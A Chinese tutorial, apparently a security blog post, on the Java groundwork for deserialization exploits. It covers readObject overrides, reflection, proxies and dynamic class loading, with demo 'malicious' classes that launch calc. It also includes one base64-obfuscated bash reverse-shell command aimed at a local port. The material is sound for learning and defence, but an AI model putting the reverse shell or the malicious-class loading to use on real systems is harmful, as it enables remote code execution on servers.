总字符数: 43.29K

代码: 22.57K, 文本: 7.76K

预计阅读时间: 2.20 小时

什么是序列化和反序列化

在编程语言的世界当中,常常有这样的需求,我们需要将本地已经实例化的某个对象,通过网络传递到其他机器当中.为了满足这种需求,就有了所谓的序列化和反序列化

  1. 序列化:将内存中的某个对象压缩成字节流的形式
  2. 反序列化:将字节流转化成内存中的对象

为什么会产生安全问题?

只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力.

可能的形式

  1. 入口类的readObject直接调用危险方法

  2. 入口类参数中包含可控类,该类有危险方法,readObject时调用

  3. 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

    比如类型定义为Object,调用equals/hashcode/toString
    相同类型  同名函数

  4. 构造函数/静态代码块等类加载时隐式执行

JAVA原生反序列化漏洞成因

Java中间件通常通过网络接收客户端发送的序列化数据,而在服务端对序列化数据进行反序列化时,会调用被序列化对象的readObject()方法.而在Java中如果重写了某个类的方法,就会优先调用经过修改后的方法.如果某个对象重写了readObject()方法,且在方法中能够执行任意代码,那服务端在进行反序列化时,也会执行相应代码

Java序列化和反序列化基础

需要跳出PHP反序列化的思想在php中序列化是将对象等转换成了字符串,而在Java中则是转换成了字节流序列化/反序列化是一种思想,并不局限于其实现的形式如:

  • JAVA内置的writeObject()/readObject()
  • JAVA内置的XMLDecoder()/XMLEncoder
  • XStream
  • SnakeYaml
  • FastJson
  • Jackson

出现过漏洞的组件

  • Apache Shiro
  • Apache Axis
  • Weblogic
  • Jboss
  • Fastjson

Java中的命令执行

1
2
3
4
5
6
7
8
9
10
public static void main() throws Exception{
Runtime.getRuntime().exec("calc");
/*
Java中执行系统命令使用java.lang.Runtime类的exec方法
以上函数可以弹出计算器
getRuntime()是Runtime类中的静态方法,使用此方法获取当前java程序的Runtime(即运行时:计算机程序运行需要的代码库,框架,平台等)
exec底层为ProcessBuilder:此类用于创建操作系统进程
每个ProcessBuilder实例管理进程属性的集合. start()方法使用这些属性创建一个新的Process实例. start()方法可以从同一实例重复调用,以创建具有相同或相关属性的新子进程.
*/
}

注意:这里的命令执行,并不是使用系统中的bash或是cmd进行的系统命令执行,而是使用JAVA本身,所以反弹shell的重定向符在JAVA中并不支持

1
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTI3LjAuMC4xLzU1NTUgMD4mMQ==}|{base64,-d}{bash,-i}

编写一个可以序列化的类

在Java当中,如果一个类需要被序列化和反序列化 ,需要实现java.io.Serializable接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
/*
* @Author: Kill3r
* @Date: 2022-10-03 15:57:25
* @LastEditors: Kill3r
* @LastEditTime: 2022-10-04 14:25:05
* @Description: 请填写简介
*/
package serializable;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;



/*
* implements Serializable:序列化的前提,需要实现这个接口
* Serializable:表示这个类的成员可以被序列化
*/
public class Person implements Serializable {
private static final long serialVersionUID = 1L;
// 添加一个 transient 关键字,则name属性不会被序列化和反序列化
// 如果将属性设置为static,同样不会被序列化和反序列化
// private transient String name;
public String name;
private int age;
public Person(){

}
public Person(String name, int age) {
this.name = name;
this.age = age;
}

/*
* @Override是Java5的元数据,自动加上去的一个标志,告诉你说下面这个方法是从父类/接口
* 继承过来的,需要你重写一次,这样就可以方便你阅读,也不怕会忘记
* @Override是伪代码,表示重写(当然不写也可以),不过写上有如下好处:
* 1. 可以当注释用,方便阅读
* 2. 编译器可以给你验证@Override下面的方法名是否是你父类中所有的,如果没有则报错
* 比如你如果没写@Override而你下面的方法名又写错了,这时你的编译器是可以通过的(它以为这个方法是你的子类中自己增加的方法)
* 使用该标记是为了增强程序在编译时候的检查,如果该方法并不是一个覆盖父类的方法,在编译时编译器就会报告错误
*/
@Override
public String toString() {
return "Person{" + "name='" + name + '\'' + ",age=" + age + '}';
}

private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException {
/*
* java.io.ObjectInputStream.defaultReadObject()
* 方法用于从这个ObjectInputStream读取当前类的非静态和非瞬态字段.它间接地涉及到该类的readObject()方法的帮助.
* 如果它被调用,则会抛出NotActiveException
*/
objectInputStream.defaultReadObject();
/*
* 每个Java应用程序都有一个Runtime类的Runtime ,允许应用程序与运行应用程序的环境进行接口.当前运行时可以从getRuntime方法获得.
*/
/*
* exec:在具有指定环境的单独进程中执行指定的字符串命令.
* 这是一种方便的方法. 调用表单exec(command, envp)的行为方式与调用exec(command, envp, null)完全相同 .
*/
Runtime.getRuntime().exec("calc");
}
}

我们跟进java.io.Serializable接口,发现是一个空接口,说明其作用只是为了在序列化和反序列化中做了一个类型判断.为什么呢?因为需要遵循非必要原则,不需要反序列化的类就可以不用序列化了

1
2
public interface Serializable{
}

如何序列化类

Java原生实现了一套序列化的机制,它让我们不需要额外编写代码,只需要实现java.io.Serializable接口,并调用ObjectOutputStream类的writeObject方法即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/*
* @Author: Kill3r
* @Date: 2022-10-03 15:56:26
* @LastEditors: Kill3r
* @LastEditTime: 2022-10-04 10:19:15
* @Description: 请填写简介
*/
package serializable;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Serializable {
public static void serializable(Object person) throws IOException {
/*
* ObjectOutputStream将Java对象的原始数据类型和图形写入OutputStream.可以使用ObjectInputStream读取(重构)
* 对象.可以通过使用流的文件来实现对象的持久存储.如果流是网络套接字流,则可以在另一个主机上或另一个进程中重构对象.
*/
/*
* 文件输出流是用于将数据写入到输出流File或一个FileDescriptor
* .文件是否可用或可能被创建取决于底层平台.特别是某些平台允许一次只能打开一个文件来写入一个FileOutputStream
* (或其他文件写入对象).在这种情况下,如果所涉及的文件已经打开,则此类中的构造函数将失败.
* FileOutputStream用于写入诸如图像数据的原始字节流. 对于写入字符流,请考虑使用FileWriter .
*/
// 序列化的类
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("ser.ser"));
/*
* 方法writeObject用于将一个对象写入流中. 任何对象,包括字符串和数组,都是用writeObject编写的. 多个对象或原语可以写入流.
* 必须从对应的ObjectInputstream读取对象,其类型和写入次序相同.
*/
// 需要序列化的对象是谁?
obj.writeObject(person);
obj.close();
}
public static void main(String[] args) throws Exception{
Person person = new Person("JiangJiYue", 22);
serializable(person);
}
}

跟进writeObject函数,我们通过阅读他的注释可知:在反序列化的过程当中,是针对对象本身,而非针对类的,因为静态属性是不参与序列化和反序列化的过程的.另外,如果属性本身声明了transient关键字,也会被忽略.但是如果某对象继承了A类,那么A类当中的对象的对象属性也是会被序列化和反序列化的(前提是A类也实现了java.io.Serializable接口)

如何反序列化类

序列化使用ObjectOutPutStream类,反序列化使用的则是ObjectInputStream类的readObject方法.我们在之前重写了readObject方法,所以会执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/*
* @Author: Kill3r
* @Date: 2022-10-03 15:57:52
* @LastEditors: Kill3r
* @LastEditTime: 2022-10-04 10:23:07
* @Description: 请填写简介
*/
package serializable;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Unserializable {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
/*
* ObjectInputStream反序列化先前使用ObjectOutputStream编写的原始数据和对象.
* ObjectOutputStream和ObjectInputStream可以分别为与FileOutputStream和FileInputStream一起使用的对象图提供持久性存储的应用程序.
* ObjectInputStream用于恢复先前序列化的对象. 其他用途包括使用套接字流在主机之间传递对象,或者在远程通信系统中进行封送和解组参数和参数.
* ObjectInputStream确保从流中创建的图中的所有对象的类型与Java虚拟机中存在的类匹配. 根据需要使用标准机制加载类.
* 只能从流中读取支持java.io.Serializable或java.io.Externalizable接口的对象.
*/
// 反序列化的类
ObjectInputStream ins = new ObjectInputStream((new FileInputStream(Filename)));
/*
* 方法readObject用于从流中读取对象. 应使用Java的安全铸造来获得所需的类型. 在Java中,字符串和数组是对象,在序列化过程中被视为对象.
* 读取时,需要将其转换为预期类型.
*/
// 读出来并反序列化
Object obj = ins.readObject();
ins.close();
return obj;
}

public static void main(String[] args) throws Exception {
Person person = (Person) unserialize("ser.ser");
System.out.println(person);
}
}

其实反序列化的实现就是序列化的逆过程,会根据序列化读出数据的类型,进行相应的处理

serialVersionUID

序列化和反序列化可以理解为压缩和解压缩,但是压缩之所以能被解压缩的前提是因为他俩的协议是一样的.如果压缩是以四个字节为一个单位,而解压缩以八个字节为一个单位,就会乱套

同样在Java中与协议相对的概念为:serialVersionUID

当serialVersionUID不一致时,反序列化会直接抛出异常

比如设置为1L时序列化,修改为2L时反序列化,则会抛出异常

跟进代码可以发现,针对序列化数据中的serialVersionUID和实际获取到类的serialVersionUID进行了判断,如果不相等则抛出异常

Java反射

将类的各个组成部分封装为其他对象,这就是反射机制

反射的作用

让Java具有动态性

  1. 修改已有对象的属性
  2. 动态生成对象
  3. 动态调用方法
  4. 操作内部类和私有方法
  5. 解耦,提高程序的可扩展性

在反序列化漏洞中的应用

  1. 定制需要的对象
  2. 通过invoke调用除了同名函数以外的函数
  3. 通过Class类创建对象,引入不能序列化的类

获取字节码Class对象的三种方式

  1. Source源代码阶段:Class.forName("全类名");

    将字节码文件加载进内存,返回Class对象
    多用于配置文件,可以将类名定义在配置文件中,读取文件,加载类

  2. Class类对象阶段:类名.class

    通过类名的属性class来获取
    多用于参数的传递

  3. Runtime运行时阶段:对象.getClass

    getClass()方法在Object类中定义着
    多用于对象的获取字节码的方式

*同一个字节码文件(.class)在一次程序运行过程中,只会被加载一次,不论通过哪一种方式获取的Class对象都是同一个 **

Class对象

Field

获取成员变量们

  • Field[] fields = getFields()获取所有public修饰的成员变量
  • Field field = getField(String name)获取所有public修饰的成员变量
  • Field[] fields = getDeclaredFields()获取所有的成员变量
  • Field field = getDeclaredField(String name)获取所有的成员变量
  • 操作
    • 获取值:get(Object obj)
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      package serializable;

      import java.lang.reflect.Constructor;
      import java.lang.reflect.Field;

      public class ReflectionTest {
      public static void main(String[] args) throws Exception {
      Class cls = Class.forName("serializable.Person");
      //当我不想 newInstance初始化的时候执行空参数的构造函数的时候
      //可以通过字节码文件对象方式 getConstructor(paramterTypes) 获取到该构造函数
      //获取到Person(String name,int age) 构造函数
      // 从class里面实例化对象
      Constructor personconstructor = cls.getConstructor(String.class,int.class);
      //通过构造器对象 newInstance 方法对对象进行初始化 有参数构造函数
      Person p = (Person) personconstructor.newInstance("abc",22);
      Field name = cls.getField("name");
      System.out.println(name.get(p));
      }
      }
      • 私有的会访问异常,需要在访问之前忽略访问权限修饰符的安全检查
1
2
3
4
Field age = cls.getDeclaredField("age");
// 忽略安全检查又称为暴力反射
age.setAccessible(true);
System.out.println(age.get(p));
  • 设置值:void set(Object obj,Object value)
    1
    2
    name.set(p,"张三");
    System.out.println(p);

Constructor

获取构造方法们

  • Constructor<?>[] = getConstructors()
  • Constructor<T> = getConstructor(类<?>...parameterTypes)
    • Constructor:构造方法
      • newInstance(Object... initargs):创建对象Person p = (Person) personconstructor.newInstance("abc",22);

        1
        2
        Constructor personconstructor = cls.getConstructor(String.class,int.class);
        System.out.println(personconstructor);
      • 如果使用空参构造方法创建对象,操作可以简化:Class对象的newInstance

1
2
3
Class cls = Class.forName("serializable.Person");
Object o = cls.newInstance();
System.out.println(o);
  • Constructor<?>[] = getDeclaredConstructors()
  • Constructor<T> = getDeclaredConstructor(类<?>...parameterTypes)

Method

获取成员方法们

  • Method[] = getMethods()

  • Method = getMethod(类<?>...parameterTypes)

    1
    2
    3
    4
    5
    6
    Class cls = Class.forName("serializable.Person");
    // 获取指定名称
    Method eat_method = cls.getMethod("eat");
    Object p = cls.newInstance();
    // 执行方法
    eat_method.invoke(p);
  • Method[] = getDeclaredMethods()

  • Method = getDeclaredMethod(类<?>...parameterTypes)

  • 获取方法名称:String getName

    1
    2
    3
    4
    5
    Class cls = Class.forName("serializable.Person");
    Method[] methods = cls.getMethods();
    for (Method method:methods){
    System.out.println(method.getName());
    }

获取类名

  • String name = getName()
    1
    2
    3
    Class cls = Class.forName("serializable.Person");
    String className = cls.getName();
    System.out.println(className);

案例

写一个”框架”,可以帮我们创建任意类的对象,并且执行其中任意方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/*
* @Author: Kill3r
* @Date: 2022-10-04 14:11:43
* @LastEditors: Kill3r
* @LastEditTime: 2022-10-04 16:08:53
* @Description: 请填写简介
*/
package serializable;

import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Properties;

public class ReflectionTest {
public static void main(String[] args) throws Exception {
/*
* 前提:不能改变该类的任何代码,可以创建任意类的对象,可以执行任意方法
* 步骤:
* 1. 将需要创建的对象的全类名和需要执行的方法定义在配置文件中
* 2. 在程序中加载读取配置文件
* 3. 使用反射技术来加载类文件进内存
* 4. 创建对象
* 5. 执行方法
* */
// 1.1创建Properties对象
Properties pro = new Properties();
// 1.2加载配置文件,转换为一个集合
// 1.2.1获取class目录下的配置文件
ClassLoader classLoader = ReflectionTest.class.getClassLoader();
InputStream is = classLoader.getResourceAsStream("serializable/pro.properties");
pro.load(is);

// 2.获取配置文件中定义的数据
String className = pro.getProperty("className");
String methodName = pro.getProperty("methodName");
// 3.加载该类进内存
Class cls = Class.forName(className);
// 4.创建对象
Object obj = cls.newInstance();
// 5.获取方法对象
Method method = cls.getMethod(methodName);
// 6.执行方法
method.invoke(obj);
}
}

pro.properties:

1
2
className=serializable.Person
methodName=eat

Java代理

定义:为其他对象提供一种代理以控制对这个对象的访问

代理模式是一种设计模式,可以在不修改被代理对象的基础上,通过扩展代理类,进行一些功能的附加与增强,之得注意的是:代理类和被代理类应该共同实现一个接口,或者是共同继承某个类

优点:

  • 职责清晰
  • 高扩展,只要实现了接口,都可以使用代理
  • 智能化,动态代理、

分类

  • 静态代理
  • 动态代理

代理常用与记录日志的环境,比如在代理中实现各种日志的记录

静态代理

我们现在有一个接口:IUser``IUser.java:

1
2
3
4
5
6
7
8
9
10
11
12
/*
* @Author: Kill3r
* @Date: 2022-10-11 19:40:35
* @LastEditors: Kill3r
* @LastEditTime: 2022-10-11 19:40:36
* @Description: 请填写简介
*/
package java_proxy;

public interface IUser {
void show();
}

然后Userlmpl.java实现这个接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/*
* @Author: Kill3r
* @Date: 2022-10-11 19:42:01
* @LastEditors: Kill3r
* @LastEditTime: 2022-10-11 19:43:35
* @Description: 请填写简介
*/
package java_proxy;

public class Userlmpl implements IUser{
public Userlmpl() {
}

@Override
// @Override是伪代码,表示重写
public void show() {
System.out.println("展示");
}
}

假设我们现在要做一件事,就是在所有的实现类调用show()后增加一行输出调用了UserProxy中的show,那我们只需要编写代理类UserProxy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*
* @Author: Kill3r
* @Date: 2022-10-11 19:45:45
* @LastEditors: Kill3r
* @LastEditTime: 2022-10-11 19:46:53
* @Description: 请填写简介
*/
package java_proxy;

public class UserProxy implements IUser{
IUser user;

public UserProxy() {
}

public UserProxy(IUser user) {
this.user = user;
}
@Override
public void show() {
user.show();
System.out.println("调用了UserProxy中的show");
}
}

ProxyTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*
* @Author: Kill3r
* @Date: 2022-10-11 19:44:01
* @LastEditors: Kill3r
* @LastEditTime: 2022-10-11 20:25:55
* @Description: 请填写简介
*/

package java_proxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class ProxyTest {
public static void main(String[] args) {
IUser user = new Userlmpl();
// 静态代理
IUser userProxy = new UserProxy(user);
userProxy.show();
}
}

这种模式虽然好理解,但是缺点也很明显:

  • 会存在大量的冗余的代理类,这里演示了1个接口,如果有10个接口,就必须定义10个代理类.
  • 不易维护,一旦接口更改,代理类和目标类都需要更改.

动态代理

JDK动态代理,通俗点说就是:无需声明式的创建java代理类,而是在运行过程中生成”虚拟”的代理类,被ClassLoader加载.从而避免了静态代理那样需要声明大量的代理类.

JDK从1.3版本就开始支持动态代理类的创建.主要核心类只有2个:java.lang.reflect.Proxyjava.lang.reflect.InvocationHandler.

  • JDK动态代理采用接口代理的模式,代理对象只能赋值给接口,允许多个接口

还是前面那个例子,用动态代理类去实现的代码如下:Userlmpl.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/*
* @Author: Kill3r
* @Date: 2022-10-11 19:42:01
* @LastEditors: Kill3r
* @LastEditTime: 2022-10-11 19:43:35
* @Description: 请填写简介
*/
package java_proxy;

public class Userlmpl implements IUser{
public Userlmpl() {
}

@Override
// @Override是伪代码,表示重写
public void show() {
System.out.println("展示");
}
}

UserInvocationHandler.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/*
* @Author: Kill3r
* @Date: 2022-10-11 20:21:22
* @LastEditors: Kill3r
* @LastEditTime: 2022-10-11 20:27:17
* @Description: 请填写简介
*/
package java_proxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class UserInvocationHandler implements InvocationHandler {
IUser user;

public UserInvocationHandler() {
}

public UserInvocationHandler(IUser user) {
this.user = user;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("调用了UserInvocationHandler中的show");
method.invoke(user, args);
return null;
}
}

ProxyTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*
* @Author: Kill3r
* @Date: 2022-10-11 19:44:01
* @LastEditors: Kill3r
* @LastEditTime: 2022-10-11 20:25:55
* @Description: 请填写简介
*/

package java_proxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class ProxyTest {
public static void main(String[] args) {
IUser user = new Userlmpl();
// 动态代理
InvocationHandler userinvhandler = new UserInvocationHandler(user);
// 要代理的接口、类加载器,classloader、要做的事情、
IUser userProxy = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(),
user.getClass().getInterfaces(), userinvhandler);
userProxy.show();
}
}

Java类的动态加载

类加载,即虚拟机加载.class文件.什么时候虚拟机需要开始加载一个类呢?虚拟机对此没有规范约束,交给虚拟机把握. 类加载,即虚拟机加载.class文件.什么时候虚拟机需要开始加载一个类呢?虚拟机对此没有规范约束,交给虚拟机把握.

类加载的时候会执行代码

  1. 初始化:静态代码块
  2. 实例化:构造代码块、无参数构造函数

Javac原理

javac是用于将源码文件.java编译成对应的字节码文件.class.其步骤是:源码–>词法分析器组件(生成token流)–>语法分析器组件(语法树)–>语义分析器组件(注解语法树)–>代码生成器组件(字节码)

类加载过程

先在方法区找class信息,有的话直接调用,没有的话则使用类加载器加载到方法区(静态成员放在静态区,非静态成功放在非静态区),静态代码块在类加载时自动执行代码,非静态的不执行;先父类后子类,先静态后非静态;静态方法和非静态方法都是被动调用,即不调用就不执行.

类加载的流程图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/*
* @Author: Kill3r
* @Date: 2022-10-12 12:18:17
* @LastEditors: Kill3r
* @LastEditTime: 2022-10-12 12:25:28
* @Description: 请填写简介
*/
package load_class;

public class Person {

public String name;
private int age;
static {
System.out.println("静态代码块");
}

public static void staticAction() {
System.out.println("静态方法");
}

{
System.out.println("构造代码块");
}
public Person(){
System.out.println("无参Person");
}

public Person(String name, int age) {
System.out.println("有参Person");
this.name = name;
this.age = age;
}

/*
* @Override是Java5的元数据,自动加上去的一个标志,告诉你说下面这个方法是从父类/接口
* 继承过来的,需要你重写一次,这样就可以方便你阅读,也不怕会忘记
* @Override是伪代码,表示重写(当然不写也可以),
*/
@Override
public String toString() {
return "Person{" + "name='" + name + '\'' + ",age=" + age + '}';
}

private void action(String act){System.out.println(act);}
}

动态类加载方法

类加载可以加载任意方法,但是反射只能反射公共的

Class.forname

1
2
3
4
5
6
7
8
package load_class;

public class LoadClass {
public static void main(String[] args) throws Exception{
// 动态加载进行了初始化的操作
Class.forName("load_class.Person");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/*
* @Author: Kill3r
* @Date: 2022-10-12 12:17:50
* @LastEditors: Kill3r
* @LastEditTime: 2022-10-12 14:37:34
* @Description: 请填写简介
*/
package load_class;

public class LoadClass {
public static void main(String[] args) throws Exception {
// ClassLoader是一个抽象类,不能被实例化,但是提供了一个静态方法,获取当前系统的类加载器
ClassLoader cs = ClassLoader.getSystemClassLoader();
// 第一个参数类名
// 第二个参数是不进行初始化
// 第四个参数是forName0的,所以在这不用写
// 这种都是可以正常实例化的
Class<?> c = Class.forName("load_class.Person", false, cs);
// 正常的实例化
c.newInstance();
}
}

ClassLoader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/*
* @Author: Kill3r
* @Date: 2022-10-12 12:17:50
* @LastEditors: Kill3r
* @LastEditTime: 2022-10-12 14:40:27
* @Description: 请填写简介
*/
package load_class;

public class LoadClass {
public static void main(String[] args) throws Exception {
// ClassLoader是一个抽象类,不能被实例化,但是提供了一个静态方法,获取当前系统的类加载器
ClassLoader cs = ClassLoader.getSystemClassLoader();
// 打印ClassLoader,看一下是什么
// result:sun.misc.Launcher$AppClassLoader@73d16e93
// 他是Launcher里面的一个内部类,叫做AppClassLoader
System.out.println(cs);
}
}

漏洞利用相关类

URLClassLoader

URLClassLoader:输入一个URL,从URL内加载一个类出来

  1. 构造一个恶意类

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    import java.io.IOException;

    public class Hello {
    static {
    try {
    Runtime.getRuntime().exec("calc");
    } catch (IOException e) {
    e.printStackTrace();
    }
    }
    }
  2. javac .\Hello.java然后将Hello.java删除或者移动到其他目录

  3. 编译动态加载类

defineClass

defineClass是一个protected,所以只能通过反射调用,字节码任意加载类构造恶意类:Hello.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/*
* @Author: Kill3r
* @Date: 2022-10-12 22:43:33
* @LastEditors: Kill3r
* @LastEditTime: 2022-10-13 08:27:39
* @Description: 请填写简介
*/
package load_class;

public class Hello {
public Hello() throws Exception{
Runtime.getRuntime().exec("calc");
}
}

动态加载:LoadClass.java

1
2
3
4
5
6
ClassLoader cl = ClassLoader.getSystemClassLoader();
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\LearningWorld\\PersonalProject\\PersonalProject\\Java\\基础语法\\src\\load_class\\Hello.class"));
Class c = (Class) defineClassMethod.invoke(cl,"load_class.Hello",code,0,code.length);
c.newInstance();

Unsafe

Unsafe中也含有defineClass字节码任意加载类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/*
* @Author: Kill3r
* @Date: 2022-10-12 12:17:50
* @LastEditors: Kill3r
* @LastEditTime: 2022-10-13 20:19:06
* @Description: 请填写简介
*/
package load_class;

import sun.misc.Launcher;
import sun.misc.Unsafe;

import java.io.File;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;

public class LoadClass {
public static void main(String[] args) throws Exception {
ClassLoader cl = ClassLoader.getSystemClassLoader();
byte[] code = Files.readAllBytes(Paths
.get("D:\\LearningWorld\\PersonalProject\\PersonalProject\\Java\\基础语法\\src\\load_class\\Hello.class"));
Class c = Unsafe.class;
Field theUnsafeField = c.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class c2 = unsafe.defineClass("load_class.Hello", code, 0, code.length, cl, null);
c2.newInstance();
}
}

Map集合

集合又称容器,是Java中对数据结构(数据存储方式)的具体实现我们可以利用集合存放数据,也可对集合进行新增、删除、修改、查看等操作集合中数据都是在内存中,当程序关闭或重启后集合中数据会丢失 .所以集合是一种临时存储数据的容器

Map集合类型

  1. Map
    • 特点
      • Map集合是一个双列集合,一个元素包含两个值(一个key,一个value)
      • Map集合中的元素,key和value的数据类型可以相同,也可以不同
      • Map集合中的元素,key是不允许重复的,value是可以重复的
      • Map集合中的元素,key和value是一一对应的
  2. HashMap
    • 采用Hashtable哈希表存储结构(神奇的结构)
    • 优点:添加速度快、查询速度快、删除速度快
    • 缺点:key无序
  3. LinkedHashMap
    • 采用哈希表存储结构,同时使用链表维护次序
    • key有序(添加顺序)
  4. TreeMap
    • 采用二叉树(红黑树)的存储结构
    • 优点:key有序 查询速度比List快(按照内容查询)
    • 缺点:查询速度没有HashMap快

Map接口

  1. 接口Map是独立的接口,和Collection没有关系Map中每个元素都是Entry类型,每个元素都包含Key(键)和Value(值)
    1. 继承关系Ctrl+H
  1. 包含的APIAlt+7

Map使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
/*
* @Author: Kill3r
* @Date: 2022-10-16 20:33:43
* @LastEditors: Kill3r
* @LastEditTime: 2022-10-16 22:34:09
* @Description: 请填写简介
*/
package java_Map;

import java.util.*;

public class TestMap {
public static void main(String[] args) {
// Student stu1 = new Student(1, "张三", 22);
// Student stu2 = new Student(2, "李四", 28);
// Student stu3 = new Student(3, "王五", 24);
// Student stu4 = new Student(4, "赵六", 21);
// Student stu5 = new Student(5, "刘琦", 18);
//
// Map<Integer, Student> map = new HashMap<>();
// map.put(stu1.getId(), stu1);
// map.put(stu2.getId(), stu2);
// map.put(stu3.getId(), stu3);
// map.put(stu4.getId(), stu4);
// map.put(stu5.getId(), stu5);
// // 该代码允许用户从System.in读取一个数字
// Scanner sc = new Scanner(System.in);
// // 提示文字
// System.out.println("请输入学生的编号:");
// // 该代码允许用户从System.in读取一个数字
// int id = sc.nextInt();
// sc.close();
// // map.get()通过key取值
// System.out.println(map.get(id));

Map<Integer, String> map = new HashMap<>();
// Map集合添加元素 k v
map.put(1, "北京");
map.put(2, "山东");
map.put(3, "河南");
map.put(4, "河北");
// 根据Key获取对应的值
System.out.println(map.get(1));
// 根据Map的key进行元素的移除 如果元素不存在返回是null 否则返回移除对象的value
String s = map.remove(1);
System.out.println(s);
// 根据 k v 同时移除内容 返回值是布尔类型
System.out.println(map.remove(2, "山东"));

// 元素的替换
System.out.println(map.replace(3, "天津"));
// 替换成功返回Bool
System.out.println(map.replace(4, "河北", "山西"));
System.out.println(map.get(4));

System.out.println(map);
// 清空map集合内容 k v 都清空
map.clear();
System.out.println(map);

System.out.println("--------HashMap保存值情况--------");
map.put(1, "北京1");
// HashMap中如果k相同了 后者的v就会把前者相同的k的v进行覆盖
System.out.println(map);
// hash表中是允许Kev保存空对象
map.put(null, "空");
System.out.println(map);
System.out.println("--------TreeMap保存值情况--------");
Map<Integer, String> map2 = new TreeMap<>();
map2.put(1, "北京");
map2.put(2, "北京2");
// TreeMap中如果k相同了 后者的v就会把前者相同的k的v进行覆盖
map2.put(1, "北京3");
// Tree中不允许Kev保存空值,否则出错(源码中没有对null进行处理)
// map2.put(null, "空");
System.out.println(map2);
System.out.println("--------Map3集合的遍历--------");
Map<Integer, String> map3 = new HashMap<>();
map3.put(1, "北京");
map3.put(2, "山东");
map3.put(3, "河南");
map3.put(4, "河北");
// 当前遍历的方式
// 获得map集合中当前所有的key
System.out.println("遍历方法一:");
Set<Integer> keySet = map3.keySet();
for (Integer key : keySet) {
System.out.println(key+"----"+map3.get(key));
}
// 直接获得map集合的value
System.out.println("遍历方法二:");
Collection<String> values = map3.values();
for (String value : values) {
System.out.println(value);
}

System.out.println("遍历方法三:");
Set<Map.Entry<Integer, String>> entrySet= map3.entrySet();
for (Map.Entry<Integer, String> entry : entrySet) {
System.out.println(entry.getKey()+"----"+entry.getValue());
}
}
}

Entry键值对对象

我们已经知道,Map中存放的是两种对象,一种称为key(键),一种称为value(值),它们在Map中是一对应关系,这一对对象又称做Map中的一个Entry(项).Entry 将键值对的对应关系封装成了对象.即键值对对象,这样我们在遍历Map集合时,就可以从每一个键值对 ( Entry ) 对象中获取对应的键与对应的值既然Entry表示了一对键和值,那么也同样提供了获取对应键和对应值得方法:

  • public K getKey():获取Entry对象中的键
  • public V getValue():获取Entry对象中的值

在Map集合中也提供了获取所有Entry对象的方法:

  • public Set<Map.Entry<K,V>> entrySet():获取到Map集合中所有的键值对对象的集合(Set集合)

设定值

  • setValue(V value)
  • 用指定的值替换与该条目对应的值(可选操作)(写入映射.)如果映射已经从映射中删除(通过迭代器的删除操作),则此调用的行为是未定义的.
  • 参数:value- 要存储在此条目中的新值
  • return:对应条目的旧值

前置知识

利用链

利用链是什么:

